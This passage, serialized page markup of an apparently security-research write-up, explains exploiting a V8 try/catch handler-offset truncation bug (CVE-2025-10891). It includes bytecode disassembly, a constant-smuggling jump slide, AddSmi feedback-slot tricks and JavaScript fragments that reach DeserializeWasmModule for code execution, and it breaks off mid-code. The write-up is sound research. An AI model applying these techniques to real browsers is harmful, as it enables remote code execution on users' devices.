0x0fff",{"type":23,"tag":141,"props":130662,"children":130663},{"style":154},[130664],{"type":29,"value":1684},{"type":23,"tag":141,"props":130666,"children":130667},{"class":143,"line":205},[130668,130672,130676,130680,130685],{"type":23,"tag":141,"props":130669,"children":130670},{"style":449},[130671],{"type":29,"value":10467},{"type":23,"tag":141,"props":130673,"children":130674},{"style":750},[130675],{"type":29,"value":35916},{"type":23,"tag":141,"props":130677,"children":130678},{"style":160},[130679],{"type":29,"value":1674},{"type":23,"tag":141,"props":130681,"children":130682},{"style":472},[130683],{"type":29,"value":130684}," 0x0fffffff",{"type":23,"tag":141,"props":130686,"children":130687},{"style":154},[130688],{"type":29,"value":1684},{"type":23,"tag":141,"props":130690,"children":130691},{"class":143,"line":218},[130692,130696,130701,130705,130710],{"type":23,"tag":141,"props":130693,"children":130694},{"style":449},[130695],{"type":29,"value":10467},{"type":23,"tag":141,"props":130697,"children":130698},{"style":750},[130699],{"type":29,"value":130700}," d",{"type":23,"tag":141,"props":130702,"children":130703},{"style":160},[130704],{"type":29,"value":1674},{"type":23,"tag":141,"props":130706,"children":130707},{"style":472},[130708],{"type":29,"value":130709}," 0xffffffff",{"type":23,"tag":141,"props":130711,"children":130712},{"style":154},[130713],{"type":29,"value":1684},{"type":23,"tag":32,"props":130715,"children":130716},{},[130717],{"type":29,"value":130718},"compiles to",{"type":23,"tag":131,"props":130720,"children":130722},{"code":130721}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[130723],{"type":23,"tag":38,"props":130724,"children":130725},{"__ignoreMap":7},[130726],{"type":29,"value":130721},{"type":23,"tag":32,"props":130728,"children":130729},{},[130730],{"type":29,"value":130731},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":8287,"props":130733,"children":130735},{"id":130734},"cve-2025-10891",[130736],{"type":29,"value":130588},{"type":23,"tag":32,"props":130738,"children":130739},{},[130740,130742,130748,130750,130756],{"type":29,"value":130741},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":38,"props":130743,"children":130745},{"className":130744},[],[130746],{"type":29,"value":130747},"[start, end) => handler",{"type":29,"value":130749}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":38,"props":130751,"children":130753},{"className":130752},[],[130754],{"type":29,"value":130755},"handler",{"type":29,"value":130757}," is jumped to.",{"type":23,"tag":131,"props":130759,"children":130761},{"code":130760,"language":29833,"meta":7,"className":29831,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[130762],{"type":23,"tag":38,"props":130763,"children":130764},{"__ignoreMap":7},[130765,130776,130791,130806,130829],{"type":23,"tag":141,"props":130766,"children":130767},{"class":143,"line":144},[130768,130772],{"type":23,"tag":141,"props":130769,"children":130770},{"style":148},[130771],{"type":29,"value":46809},{"type":23,"tag":141,"props":130773,"children":130774},{"style":154},[130775],{"type":29,"value":1951},{"type":23,"tag":141,"props":130777,"children":130778},{"class":143,"line":180},[130779,130783,130787],{"type":23,"tag":141,"props":130780,"children":130781},{"style":148},[130782],{"type":29,"value":33672},{"type":23,"tag":141,"props":130784,"children":130785},{"style":472},[130786],{"type":29,"value":3198},{"type":23,"tag":141,"props":130788,"children":130789},{"style":154},[130790],{"type":29,"value":1684},{"type":23,"tag":141,"props":130792,"children":130793},{"class":143,"line":205},[130794,130798,130802],{"type":23,"tag":141,"props":130795,"children":130796},{"style":154},[130797],{"type":29,"value":45351},{"type":23,"tag":141,"props":130799,"children":130800},{"style":148},[130801],{"type":29,"value":46889},{"type":23,"tag":141,"props":130803,"children":130804},{"style":154},[130805],{"type":29,"value":1951},{"type":23,"tag":141,"props":130807,"children":130808},{"class":143,"line":218},[130809,130813,130817,130821,130825],{"type":23,"tag":141,"props":130810,"children":130811},{"style":449},[130812],{"type":29,"value":6530},{"type":23,"tag":141,"props":130814,"children":130815},{"style":750},[130816],{"type":29,"value":89195},{"type":23,"tag":141,"props":130818,"children":130819},{"style":160},[130820],{"type":29,"value":1674},{"type":23,"tag":141,"props":130822,"children":130823},{"style":472},[130824],{"type":29,"value":6609},{"type":23,"tag":141,"props":130826,"children":130827},{"style":154},[130828],{"type":29,"value":1684},{"type":23,"tag":141,"props":130830,"children":130831},{"class":143,"line":227},[130832],{"type":23,"tag":141,"props":130833,"children":130834},{"style":154},[130835],{"type":29,"value":2573},{"type":23,"tag":131,"props":130837,"children":130839},{"code":130838}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[130840],{"type":23,"tag":38,"props":130841,"children":130842},{"__ignoreMap":7},[130843],{"type":29,"value":130838},{"type":23,"tag":32,"props":130845,"children":130846},{},[130847,130849,130854,130856,130861],{"type":29,"value":130848},"However, the ",{"type":23,"tag":38,"props":130850,"children":130852},{"className":130851},[],[130853],{"type":29,"value":130755},{"type":29,"value":130855}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":38,"props":130857,"children":130859},{"className":130858},[],[130860],{"type":29,"value":46889},{"type":29,"value":130862}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":32,"props":130864,"children":130865},{},[130866,130868,130874],{"type":29,"value":130867},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":38,"props":130869,"children":130871},{"className":130870},[],[130872],{"type":29,"value":130873},"yield*",{"type":29,"value":130875}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":24,"props":130877,"children":130879},{"id":130878},"exploitation",[130880],{"type":29,"value":130881},"Exploitation",{"type":23,"tag":8287,"props":130883,"children":130885},{"id":130884},"constant-smuggling",[130886],{"type":29,"value":130887},"Constant Smuggling",{"type":23,"tag":32,"props":130889,"children":130890},{},[130891,130893,130900],{"type":29,"value":130892},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":55,"props":130894,"children":130897},{"href":130895,"rel":130896},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[59],[130898],{"type":29,"value":130899},"technique",{"type":29,"value":130901}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":131,"props":130903,"children":130905},{"code":130904,"language":29833,"meta":7,"className":29831,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[130906],{"type":23,"tag":38,"props":130907,"children":130908},{"__ignoreMap":7},[130909,130937,130964,130991],{"type":23,"tag":141,"props":130910,"children":130911},{"class":143,"line":144},[130912,130916,130920,130924,130928,130933],{"type":23,"tag":141,"props":130913,"children":130914},{"style":449},[130915],{"type":29,"value":10467},{"type":23,"tag":141,"props":130917,"children":130918},{"style":750},[130919],{"type":29,"value":88321},{"type":23,"tag":141,"props":130921,"children":130922},{"style":160},[130923],{"type":29,"value":1674},{"type":23,"tag":141,"props":130925,"children":130926},{"style":160},[130927],{"type":29,"value":49734},{"type":23,"tag":141,"props":130929,"children":130930},{"style":472},[130931],{"type":29,"value":130932},"9.255963134931783e61",{"type":23,"tag":141,"props":130934,"children":130935},{"style":154},[130936],{"type":29,"value":1684},{"type":23,"tag":141,"props":130938,"children":130939},{"class":143,"line":180},[130940,130944,130948,130952,130956,130960],{"type":23,"tag":141,"props":130941,"children":130942},{"style":449},[130943],{"type":29,"value":10467},{"type":23,"tag":141,"props":130945,"children":130946},{"style":750},[130947],{"type":29,"value":89195},{"type":23,"tag":141,"props":130949,"children":130950},{"style":160},[130951],{"type":29,"value":1674},{"type":23,"tag":141,"props":130953,"children":130954},{"style":160},[130955],{"type":29,"value":49734},{"type":23,"tag":141,"props":130957,"children":130958},{"style":472},[130959],{"type":29,"value":130932},{"type":23,"tag":141,"props":130961,"children":130962},{"style":154},[130963],{"type":29,"value":1684},{"type":23,"tag":141,"props":130965,"children":130966},{"class":143,"line":205},[130967,130971,130975,130979,130983,130987],{"type":23,"tag":141,"props":130968,"children":130969},{"style":449},[130970],{"type":29,"value":10467},{"type":23,"tag":141,"props":130972,"children":130973},{"style":750},[130974],{"type":29,"value":35916},{"type":23,"tag":141,"props":130976,"children":130977},{"style":160},[130978],{"type":29,"value":1674},{"type":23,"tag":141,"props":130980,"children":130981},{"style":160},[130982],{"type":29,"value":49734},{"type":23,"tag":141,"props":130984,"children":130985},{"style":472},[130986],{"type":29,"value":130932},{"type":23,"tag":141,"props":130988,"children":130989},{"style":154},[130990],{"type":29,"value":1684},{"type":23,"tag":141,"props":130992,"children":130993},{"class":143,"line":218},[130994,130998,131002,131006,131010,131014],{"type":23,"tag":141,"props":130995,"children":130996},{"style":449},[130997],{"type":29,"value":10467},{"type":23,"tag":141,"props":130999,"children":131000},{"style":750},[131001],{"type":29,"value":130700},{"type":23,"tag":141,"props":131003,"children":131004},{"style":160},[131005],{"type":29,"value":1674},{"type":23,"tag":141,"props":131007,"children":131008},{"style":160},[131009],{"type":29,"value":49734},{"type":23,"tag":141,"props":131011,"children":131012},{"style":472},[131013],{"type":29,"value":130932},{"type":23,"tag":141,"props":131015,"children":131016},{"style":154},[131017],{"type":29,"value":1684},{"type":23,"tag":32,"props":131019,"children":131020},{},[131021],{"type":29,"value":131022},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":32,"props":131024,"children":131025},{},[131026],{"type":29,"value":131027},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":131,"props":131029,"children":131031},{"code":131030},"let a = 0x0693bebe;\n",[131032],{"type":23,"tag":38,"props":131033,"children":131034},{"__ignoreMap":7},[131035],{"type":29,"value":131030},{"type":23,"tag":32,"props":131037,"children":131038},{},[131039],{"type":29,"value":131040},"We will compile the bytecode:",{"type":23,"tag":131,"props":131042,"children":131044},{"code":131043},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[131045],{"type":23,"tag":38,"props":131046,"children":131047},{"__ignoreMap":7},[131048],{"type":29,"value":131043},{"type":23,"tag":32,"props":131050,"children":131051},{},[131052,131054,131060,131062,131068,131069,131075],{"type":29,"value":131053},"We can then jump to the 3rd byte (",{"type":23,"tag":38,"props":131055,"children":131057},{"className":131056},[],[131058],{"type":29,"value":131059},"0xbe",{"type":29,"value":131061},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":38,"props":131063,"children":131065},{"className":131064},[],[131066],{"type":29,"value":131067},"0x93 0x02 - 0xf",{"type":29,"value":1220},{"type":23,"tag":38,"props":131070,"children":131072},{"className":131071},[],[131073],{"type":29,"value":131074},"Jump +[2-15]",{"type":29,"value":131076},") to jump into the next constant.",{"type":23,"tag":32,"props":131078,"children":131079},{},[131080,131082,131088,131090,131096,131098,131104],{"type":29,"value":131081},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":38,"props":131083,"children":131085},{"className":131084},[],[131086],{"type":29,"value":131087},"StarX",{"type":29,"value":131089}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":38,"props":131091,"children":131093},{"className":131092},[],[131094],{"type":29,"value":131095},"Star rX",{"type":29,"value":131097}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":38,"props":131099,"children":131101},{"className":131100},[],[131102],{"type":29,"value":131103},"Star.ExtraWide rX",{"type":29,"value":131105}," instructions.",{"type":23,"tag":32,"props":131107,"children":131108},{},[131109,131111,131117],{"type":29,"value":131110},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":38,"props":131112,"children":131114},{"className":131113},[],[131115],{"type":29,"value":131116},"0x8931111",{"type":29,"value":114},{"type":23,"tag":131,"props":131119,"children":131121},{"code":131120,"language":29833,"meta":7,"className":29831,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[131122],{"type":23,"tag":38,"props":131123,"children":131124},{"__ignoreMap":7},[131125,131150,131174,131198,131222,131246,131270],{"type":23,"tag":141,"props":131126,"children":131127},{"class":143,"line":144},[131128,131132,131137,131141,131146],{"type":23,"tag":141,"props":131129,"children":131130},{"style":449},[131131],{"type":29,"value":10467},{"type":23,"tag":141,"props":131133,"children":131134},{"style":750},[131135],{"type":29,"value":131136}," a206",{"type":23,"tag":141,"props":131138,"children":131139},{"style":160},[131140],{"type":29,"value":1674},{"type":23,"tag":141,"props":131142,"children":131143},{"style":472},[131144],{"type":29,"value":131145}," 0x8931111",{"type":23,"tag":141,"props":131147,"children":131148},{"style":154},[131149],{"type":29,"value":1684},{"type":23,"tag":141,"props":131151,"children":131152},{"class":143,"line":180},[131153,131157,131162,131166,131170],{"type":23,"tag":141,"props":131154,"children":131155},{"style":449},[131156],{"type":29,"value":10467},{"type":23,"tag":141,"props":131158,"children":131159},{"style":750},[131160],{"type":29,"value":131161}," a207",{"type":23,"tag":141,"props":131163,"children":131164},{"style":160},[131165],{"type":29,"value":1674},{"type":23,"tag":141,"props":131167,"children":131168},{"style":472},[131169],{"type":29,"value":131145},{"type":23,"tag":141,"props":131171,"children":131172},{"style":154},[131173],{"type":29,"value":1684},{"type":23,"tag":141,"props":131175,"children":131176},{"class":143,"line":205},[131177,131181,131186,131190,131194],{"type":23,"tag":141,"props":131178,"children":131179},{"style":449},[131180],{"type":29,"value":10467},{"type":23,"tag":141,"props":131182,"children":131183},{"style":750},[131184],{"type":29,"value":131185}," a208",{"type":23,"tag":141,"props":131187,"children":131188},{"style":160},[131189],{"type":29,"value":1674},{"type":23,"tag":141,"props":131191,"children":131192},{"style":472},[131193],{"type":29,"value":131145},{"type":23,"tag":141,"props":131195,"children":131196},{"style":154},[131197],{"type":29,"value":1684},{"type":23,"tag":141,"props":131199,"children":131200},{"class":143,"line":218},[131201,131205,131210,131214,131218],{"type":23,"tag":141,"props":131202,"children":131203},{"style":449},[131204],{"type":29,"value":10467},{"type":23,"tag":141,"props":131206,"children":131207},{"style":750},[131208],{"type":29,"value":131209}," a209",{"type":23,"tag":141,"props":131211,"children":131212},{"style":160},[131213],{"type":29,"value":1674},{"type":23,"tag":141,"props":131215,"children":131216},{"style":472},[131217],{"type":29,"value":131145},{"type":23,"tag":141,"props":131219,"children":131220},{"style":154},[131221],{"type":29,"value":1684},{"type":23,"tag":141,"props":131223,"children":131224},{"class":143,"line":227},[131225,131229,131234,131238,131242],{"type":23,"tag":141,"props":131226,"children":131227},{"style":449},[131228],{"type":29,"value":10467},{"type":23,"tag":141,"props":131230,"children":131231},{"style":750},[131232],{"type":29,"value":131233}," a210",{"type":23,"tag":141,"props":131235,"children":131236},{"style":160},[131237],{"type":29,"value":1674},{"type":23,"tag":141,"props":131239,"children":131240},{"style":472},[131241],{"type":29,"value":131145},{"type":23,"tag":141,"props":131243,"children":131244},{"style":154},[131245],{"type":29,"value":1684},{"type":23,"tag":141,"props":131247,"children":131248},{"class":143,"line":241},[131249,131253,131258,131262,131266],{"type":23,"tag":141,"props":131250,"children":131251},{"style":449},[131252],{"type":29,"value":10467},{"type":23,"tag":141,"props":131254,"children":131255},{"style":750},[131256],{"type":29,"value":131257}," a211",{"type":23,"tag":141,"props":131259,"children":131260},{"style":160},[131261],{"type":29,"value":1674},{"type":23,"tag":141,"props":131263,"children":131264},{"style":472},[131265],{"type":29,"value":131145},{"type":23,"tag":141,"props":131267,"children":131268},{"style":154},[131269],{"type":29,"value":1684},{"type":23,"tag":141,"props":131271,"children":131272},{"class":143,"line":262},[131273,131277,131282,131286,131290],{"type":23,"tag":141,"props":131274,"children":131275},{"style":449},[131276],{"type":29,"value":10467},{"type":23,"tag":141,"props":131278,"children":131279},{"style":750},[131280],{"type":29,"value":131281}," a212",{"type":23,"tag":141,"props":131283,"children":131284},{"style":160},[131285],{"type":29,"value":1674},{"type":23,"tag":141,"props":131287,"children":131288},{"style":472},[131289],{"type":29,"value":131145},{"type":23,"tag":141,"props":131291,"children":131292},{"style":154},[131293],{"type":29,"value":1684},{"type":23,"tag":32,"props":131295,"children":131296},{},[131297],{"type":29,"value":131298},"Those instructions result in:",{"type":23,"tag":131,"props":131300,"children":131302},{"code":131301},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[131303],{"type":23,"tag":38,"props":131304,"children":131305},{"__ignoreMap":7},[131306],{"type":29,"value":131301},{"type":23,"tag":32,"props":131308,"children":131309},{},[131310,131312,131318,131320,131324],{"type":29,"value":131311},"(The offset of ",{"type":23,"tag":38,"props":131313,"children":131315},{"className":131314},[],[131316],{"type":29,"value":131317},"Jump",{"type":29,"value":131319}," instructions is added to the ",{"type":23,"tag":47,"props":131321,"children":131322},{},[131323],{"type":29,"value":69574},{"type":29,"value":131325}," of the instruction.)",{"type":23,"tag":32,"props":131327,"children":131328},{},[131329,131331,131337],{"type":29,"value":131330},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":38,"props":131332,"children":131334},{"className":131333},[],[131335],{"type":29,"value":131336},"LdaSmi.ExtraWide",{"type":29,"value":131338}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":8287,"props":131340,"children":131342},{"id":131341},"exploit-goal",[131343],{"type":29,"value":131344},"Exploit Goal",{"type":23,"tag":32,"props":131346,"children":131347},{},[131348,131350,131356,131357,131363],{"type":29,"value":131349},"Initially we considered using ",{"type":23,"tag":38,"props":131351,"children":131353},{"className":131352},[],[131354],{"type":29,"value":131355},"Star",{"type":29,"value":3255},{"type":23,"tag":38,"props":131358,"children":131360},{"className":131359},[],[131361],{"type":29,"value":131362},"Ldar",{"type":29,"value":131364}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":32,"props":131366,"children":131367},{},[131368,131370,131377],{"type":29,"value":131369},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":55,"props":131371,"children":131374},{"href":131372,"rel":131373},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[59],[131375],{"type":29,"value":131376},"stack pivot and ROP",{"type":29,"value":131378},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":32,"props":131380,"children":131381},{},[131382],{"type":29,"value":131383},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":32,"props":131385,"children":131386},{},[131387],{"type":29,"value":131388},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":32,"props":131390,"children":131391},{},[131392,131394,131400,131402,131408,131410,131416],{"type":29,"value":131393},"At this point, we identified an interesting opcode: ",{"type":23,"tag":38,"props":131395,"children":131397},{"className":131396},[],[131398],{"type":29,"value":131399},"CallRuntime",{"type":29,"value":131401},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":38,"props":131403,"children":131405},{"className":131404},[],[131406],{"type":29,"value":131407},"--allow-natives-syntax",{"type":29,"value":131409}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":38,"props":131411,"children":131413},{"className":131412},[],[131414],{"type":29,"value":131415},"DeserializeWasmModule",{"type":29,"value":322},{"type":23,"tag":32,"props":131418,"children":131419},{},[131420,131422,131429,131430,131435,131436,131442,131444,131451],{"type":29,"value":131421},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":55,"props":131423,"children":131426},{"href":131424,"rel":131425},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[59],[131427],{"type":29,"value":131428},"JIT-compiled functions",{"type":29,"value":1095},{"type":23,"tag":38,"props":131431,"children":131433},{"className":131432},[],[131434],{"type":29,"value":131415},{"type":29,"value":3255},{"type":23,"tag":38,"props":131437,"children":131439},{"className":131438},[],[131440],{"type":29,"value":131441},"SerializeWasmModule",{"type":29,"value":131443}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":55,"props":131445,"children":131448},{"href":131446,"rel":131447},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[59],[131449],{"type":29,"value":131450},"removed",{"type":29,"value":131452}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":32,"props":131454,"children":131455},{},[131456,131458,131464,131466,131472,131474,131479,131481,131487,131489,131494,131495,131500,131501,131506,131508,131514,131516,131520],{"type":29,"value":131457},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":38,"props":131459,"children":131461},{"className":131460},[],[131462],{"type":29,"value":131463},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":131465},"\nWhere ",{"type":23,"tag":38,"props":131467,"children":131469},{"className":131468},[],[131470],{"type":29,"value":131471},"func-id",{"type":29,"value":131473}," is a 2-byte function ID, ",{"type":23,"tag":38,"props":131475,"children":131477},{"className":131476},[],[131478],{"type":29,"value":36699},{"type":29,"value":131480}," is the index of the last register passed and ",{"type":23,"tag":38,"props":131482,"children":131484},{"className":131483},[],[131485],{"type":29,"value":131486},"argc",{"type":29,"value":131488}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":38,"props":131490,"children":131492},{"className":131491},[],[131493],{"type":29,"value":42857},{"type":29,"value":480},{"type":23,"tag":38,"props":131496,"children":131498},{"className":131497},[],[131499],{"type":29,"value":43000},{"type":29,"value":313},{"type":23,"tag":38,"props":131502,"children":131504},{"className":131503},[],[131505],{"type":29,"value":42983},{"type":29,"value":131507}," would be encoded as ",{"type":23,"tag":38,"props":131509,"children":131511},{"className":131510},[],[131512],{"type":29,"value":131513},"\u003Cr2> \u003C3>",{"type":29,"value":131515},").\nThis requires ",{"type":23,"tag":47,"props":131517,"children":131518},{},[131519],{"type":29,"value":16786},{"type":29,"value":131521}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":8287,"props":131523,"children":131525},{"id":131524},"better-bytecode-control",[131526],{"type":29,"value":131527},"Better Bytecode Control",{"type":23,"tag":32,"props":131529,"children":131530},{},[131531,131533,131540,131542,131548],{"type":29,"value":131532},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":55,"props":131534,"children":131537},{"href":131535,"rel":131536},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[59],[131538],{"type":29,"value":131539},"feedback vector slot",{"type":29,"value":131541},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":38,"props":131543,"children":131545},{"className":131544},[],[131546],{"type":29,"value":131547},"AddSmi",{"type":29,"value":131549}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":32,"props":131551,"children":131552},{},[131553],{"type":29,"value":131554},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":131,"props":131556,"children":131558},{"code":131557},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[131559],{"type":23,"tag":38,"props":131560,"children":131561},{"__ignoreMap":7},[131562],{"type":29,"value":131557},{"type":23,"tag":32,"props":131564,"children":131565},{},[131566,131568,131574],{"type":29,"value":131567},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":38,"props":131569,"children":131571},{"className":131570},[],[131572],{"type":29,"value":131573},"AddSmi.ExtraWide",{"type":29,"value":131575},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":32,"props":131577,"children":131578},{},[131579],{"type":29,"value":131580},"Eventually, we can reach a stage like this:",{"type":23,"tag":131,"props":131582,"children":131584},{"code":131583},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[131585],{"type":23,"tag":38,"props":131586,"children":131587},{"__ignoreMap":7},[131588],{"type":29,"value":131583},{"type":23,"tag":32,"props":131590,"children":131591},{},[131592],{"type":29,"value":131593},"If you skip the first two bytes, you have",{"type":23,"tag":15362,"props":131595,"children":131596},{},[131597,131628],{"type":23,"tag":120,"props":131598,"children":131599},{},[131600,131605,131607,131612,131614,131620,131622],{"type":23,"tag":38,"props":131601,"children":131603},{"className":131602},[],[131604],{"type":29,"value":131399},{"type":29,"value":131606}," (0x6c) to ",{"type":23,"tag":38,"props":131608,"children":131610},{"className":131609},[],[131611],{"type":29,"value":131415},{"type":29,"value":131613}," (0x0266) starting from register ",{"type":23,"tag":38,"props":131615,"children":131617},{"className":131616},[],[131618],{"type":29,"value":131619},"a2",{"type":29,"value":131621}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":38,"props":131623,"children":131625},{"className":131624},[],[131626],{"type":29,"value":131627},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":120,"props":131629,"children":131630},{},[131631],{"type":29,"value":131632},"a Jump instruction",{"type":23,"tag":8287,"props":131634,"children":131636},{"id":131635},"returning-back-to-js",[131637],{"type":29,"value":131638},"Returning Back to JS",{"type":23,"tag":32,"props":131640,"children":131641},{},[131642,131644,131650],{"type":29,"value":131643},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":38,"props":131645,"children":131647},{"className":131646},[],[131648],{"type":29,"value":131649},"yield",{"type":29,"value":131651}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":32,"props":131653,"children":131654},{},[131655],{"type":29,"value":131656},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":131,"props":131658,"children":131660},{"code":131659,"language":29833,"meta":7,"className":29831,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[131661],{"type":23,"tag":38,"props":131662,"children":131663},{"__ignoreMap":7},[131664,131675,131723,131744,131760,131783,131811,131828],{"type":23,"tag":141,"props":131665,"children":131666},{"class":143,"line":144},[131667,131671],{"type":23,"tag":141,"props":131668,"children":131669},{"style":148},[131670],{"type":29,"value":46809},{"type":23,"tag":141,"props":131672,"children":131673},{"style":154},[131674],{"type":29,"value":1951},{"type":23,"tag":141,"props":131676,"children":131677},{"class":143,"line":180},[131678,131683,131687,131692,131696,131701,131705,131710,131714,131718],{"type":23,"tag":141,"props":131679,"children":131680},{"style":750},[131681],{"type":29,"value":131682}," $",{"type":23,"tag":141,"props":131684,"children":131685},{"style":154},[131686],{"type":29,"value":75103},{"type":23,"tag":141,"props":131688,"children":131689},{"style":828},[131690],{"type":29,"value":131691},"'a1 + 